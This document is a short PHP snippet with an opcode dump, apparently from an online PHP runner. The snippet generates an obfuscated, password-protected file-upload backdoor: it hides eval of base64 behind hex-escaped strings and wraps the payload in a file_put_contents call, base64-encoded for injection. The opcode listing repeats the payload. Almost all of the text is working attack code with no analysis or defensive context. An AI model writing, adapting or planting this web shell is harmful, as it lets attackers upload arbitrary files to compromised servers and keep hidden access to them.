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<?php $u = '<?php $a="\x65"."v\x61"."l";$b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("upload",\'' . $u . '\');'; echo $v; echo base64_encode($v);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/G5WOi
function name:  (null)
number of ops:  10
compiled vars:  !0 = $u, !1 = $v
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, '%3C%3Fphp+%24a%3D%22%5Cx65%22.%22v%5Cx61%22.%22l%22%3B%24b%3D%22%5Cx62%5Cx61%22.%22s%22.%22%5Cx656%22.%224_%5Cx64%5Cx65%22.%22%5Cx63o%5Cx64%22.%22%5Cx65%22%3B%24a%28%24b%28aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9%29%29%3B'
    4     1        CONCAT                                           ~3      'file_put_contents%28%22upload%22%2C%27', !0
          2        CONCAT                                           ~4      ~3, '%27%29%3B'
          3        ASSIGN                                                   !1, ~4
    6     4        ECHO                                                     !1
    7     5        INIT_FCALL                                               'base64_encode'
          6        SEND_VAR                                                 !1
          7        DO_ICALL                                         $6      
          8        ECHO                                                     $6
          9      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
145.75 ms | 1385 KiB | 15 Q